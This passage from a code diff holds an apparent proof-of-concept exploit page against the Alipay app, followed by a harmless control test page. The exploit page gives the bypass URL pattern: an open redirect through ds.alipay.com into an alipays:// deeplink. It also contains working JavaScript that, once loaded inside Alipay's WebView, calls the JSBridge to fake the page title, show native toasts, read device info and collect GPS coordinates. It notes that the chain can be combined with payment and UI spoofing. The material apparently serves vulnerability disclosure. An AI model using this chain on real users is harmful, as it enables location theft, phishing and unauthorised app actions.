.chain{background:#f9f0ff;border-color:#b37feb}
.chain h2{color:#531dab}
.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
.item:last-child{border:none}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
.warn{background:#fff7e6;border:1px solid #ffd591;border-radius:8px;padding:10px;font-size:11px;color:#d46b08;margin:10px 0;line-height:1.5}
.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<div class="banner">
<h1>CVE-6: ds.alipay.com Whitelist Bypass</h1>
<p>CWE-601 + CWE-939 | CVSS 9.3 | Trusted domain redirect chains to full JSBridge access</p>
</div>
<div class="warn">
<b>Bypass chain:</b> This page was loaded via ds.alipay.com open redirect →
alipays:// deeplink → Alipay WebView. The trusted domain (ds.alipay.com) acts as a
redirect gateway, bypassing any URL whitelist checks. Result: attacker page at
innora.ai gains full JSBridge access identical to CVE-1, but through a whitelisted entry point.
</div>
<div id="status">Checking environment...</div>
<div id="results"></div>
<div class="ts" id="timestamp"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var bridgeData = {};
function render() {
var html = '';
var isAlipay = /AlipayClient|Nebula/i.test(navigator.userAgent);
var hasBridge = !!window.AlipayJSBridge;
// Environment proof
html += '<div class="result"><h2>Environment: Whitelist Bypass Confirmed</h2>';
html += '<div class="item"><span class="label">Page Origin: </span><span class="value" style="color:#f5222d">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">Full URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">Inside Alipay WebView: </span><span class="value" style="color:' + (isAlipay ? '#52c41a' : '#faad14') + '">' + (isAlipay ? 'YES — CONFIRMED' : 'Detection pending (check UA)') + '</span></div>';
html += '<div class="item"><span class="label">AlipayJSBridge: </span><span class="value" style="color:' + (hasBridge ? '#f5222d' : '#faad14') + '">' + (hasBridge ? 'AVAILABLE — CRITICAL' : 'Not yet loaded') + '</span></div>';
html += '<div class="item"><span class="label">User Agent: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '</div>';
// Bypass chain explanation
html += '<div class="result chain"><h2>Whitelist Bypass Attack Chain</h2>';
html += '<div class="item"><span class="label">Step 1 — Entry: </span><span class="value">User clicks link containing https://ds.alipay.com/?scheme=alipays://...</span></div>';
html += '<div class="item"><span class="label">Step 2 — Redirect: </span><span class="value">ds.alipay.com (trusted Alipay domain) redirects to alipays:// deeplink</span></div>';
html += '<div class="item"><span class="label">Step 3 — Bypass: </span><span class="value">Because ds.alipay.com is whitelisted, the redirect passes all URL validation</span></div>';
html += '<div class="item"><span class="label">Step 4 — Load: </span><span class="value">Alipay WebView opens and loads attacker URL from deeplink parameter</span></div>';
html += '<div class="item"><span class="label">Step 5 — Access: </span><span class="value" style="color:#f5222d">Attacker page at ' + location.origin + ' gains full JSBridge access</span></div>';
html += '</div>';
// JSBridge proof
if (hasBridge) {
html += '<div class="result"><h2>JSBridge Access via Whitelist Bypass</h2>';
if (bridgeData.sysinfo) {
html += '<div class="item"><span class="label">Device Model: </span><span class="value">' + (bridgeData.sysinfo.model || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">System: </span><span class="value">' + (bridgeData.sysinfo.system || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">Alipay Version: </span><span class="value">' + (bridgeData.sysinfo.version || 'N/A') + '</span></div>';
html += '<div class="item"><span class="label">Platform: </span><span class="value">' + (bridgeData.sysinfo.platform || 'N/A') + '</span></div>';
}
if (bridgeData.titleSet) {
html += '<div class="item"><span class="label">setTitle: </span><span class="value" style="color:#f5222d">CALLED — Title changed to fake value via bypass chain</span></div>';
}
if (bridgeData.toastShown) {
html += '<div class="item"><span class="label">showToast: </span><span class="value" style="color:#f5222d">CALLED — Native toast displayed via bypass chain</span></div>';
}
if (bridgeData.gps) {
if (bridgeData.gps.latitude) {
html += '<div class="item"><span class="label">GPS (via bypass): </span><span class="value" style="color:#f5222d">' + bridgeData.gps.latitude + ', ' + bridgeData.gps.longitude + '</span></div>';
} else {
html += '<div class="item"><span class="label">GPS Result: </span><span class="value">' + JSON.stringify(bridgeData.gps) + '</span></div>';
}
}
html += '</div>';
// Vulnerability proof
html += '<div class="result"><h2>Vulnerability Proof</h2>';
html += '<div class="item"><span class="label">Root Cause: </span><span class="value">ds.alipay.com accepts arbitrary "scheme" parameter and performs open redirect</span></div>';
html += '<div class="item"><span class="label">Code Evidence: </span><span class="value">stripLandingConfig contains ds.alipay.com with startAppNormal:true</span></div>';
html += '<div class="item"><span class="label">Bypass Method: </span><span class="value">https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=ATTACKER</span></div>';
html += '<div class="item"><span class="label">Why Critical: </span><span class="value" style="color:#f5222d">Defeats any domain whitelist — attack enters through Alipay\'s own trusted domain</span></div>';
html += '<div class="item"><span class="label">Escalation: </span><span class="value">Combined with CVE-2/3/4, enables GPS theft + payment + UI spoofing via a single whitelisted link</span></div>';
html += '</div>';
// Comparison with CVE-1
html += '<div class="result chain"><h2>CVE-6 vs CVE-1 Comparison</h2>';
html += '<div class="item"><span class="label">CVE-1 (Direct): </span><span class="value">alipays://platformapi/startapp?appId=20000067&url=ATTACKER — blocked if app has URL whitelist</span></div>';
html += '<div class="item"><span class="label">CVE-6 (Bypass): </span><span class="value" style="color:#f5222d">https://ds.alipay.com/?scheme=alipays://... — passes through trusted domain, bypasses whitelist</span></div>';
html += '<div class="item"><span class="label">Additional Risk: </span><span class="value">ds.alipay.com link looks legitimate to users and security filters (HTTPS + alipay.com domain)</span></div>';
html += '</div>';
// Raw data
html += '<div class="result"><h2>Raw Collected Data</h2>';
html += '<div class="item"><span class="value" style="word-break:break-all;font-size:9px;font-family:monospace">' +
JSON.stringify(bridgeData, null, 2).replace(/</g, '&lt;') + '</span></div>';
html += '</div>';
}
el.innerHTML = html;
document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
}
function doBridgeTests() {
if (!window.AlipayJSBridge) return;
// getSystemInfo
AlipayJSBridge.call('getSystemInfo', {}, function(result) {
bridgeData.sysinfo = result || {};
render();
});
// setTitle — prove UI control via bypass
AlipayJSBridge.call('setTitle', {title: '安全验证中心'}, function(result) {
bridgeData.titleSet = true;
render();
});
// showToast — prove native toast via bypass
setTimeout(function() {
AlipayJSBridge.call('showToast', {
content: '白名单绕过验证成功',
type: 'none',
duration: 3000
}, function(result) {
bridgeData.toastShown = true;
render();
});
}, 1500);
// getLocation — prove GPS access via bypass
setTimeout(function() {
AlipayJSBridge.call('getLocation', {type: 2, accuracy: 1}, function(result) {
if (result && (result.longitude || result.latitude)) {
bridgeData.gps = {
latitude: result.latitude,
longitude: result.longitude,
accuracy: result.accuracy,
city: result.city
};
} else {
bridgeData.gps = {error: JSON.stringify(result)};
}
render();
});
}, 3000);
}
function checkBridge() {
if (window.AlipayJSBridge) {
status.textContent = 'AlipayJSBridge DETECTED via whitelist bypass chain — Full access confirmed';
status.style.color = '#f5222d';
doBridgeTests();
} else {
status.textContent = 'Page loaded at ' + location.origin + ' — waiting for bridge...';
render();
}
}
document.addEventListener('AlipayJSBridgeReady', function() {
checkBridge();
});
render();
checkBridge();
setTimeout(checkBridge, 1000);
setTimeout(checkBridge, 3000);
</script>
</body></html>

View File

@@ -0,0 +1,39 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Clean Test</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
</style>
</head><body>
<h1 style="text-align:center;color:#1677ff;font-size:18px">Clean Page Test</h1>
<p style="text-align:center;font-size:12px;color:#888">No JSAPI references at all</p>
<div class="box"><h2>Environment</h2>
<div class="item"><span class="label">Origin: </span><span class="value" id="v1"></span></div>
<div class="item"><span class="label">URL: </span><span class="value" id="v2" style="word-break:break-all;font-size:10px"></span></div>
<div class="item"><span class="label">UA: </span><span class="value" id="v3" style="word-break:break-all;font-size:10px"></span></div>
<div class="item"><span class="label">Time: </span><span class="value" id="v4"></span></div>
<div class="item"><span class="label">Bridge object: </span><span class="value" id="v5"></span></div>
</div>
<div class="box"><h2>This page has ZERO sensitive API keywords</h2>
<div class="item">If you can see this text, the page rendered successfully.</div>
<div class="item">If this is white screen, the issue is URL-level blocking.</div>
</div>
<script>
document.getElementById('v1').textContent = location.origin;
document.getElementById('v2').textContent = location.href;
document.getElementById('v3').textContent = navigator.userAgent;
document.getElementById('v4').textContent = new Date().toISOString();
document.getElementById('v5').textContent = String(typeof window.AlipayJSBridge);
</script>
</body></html>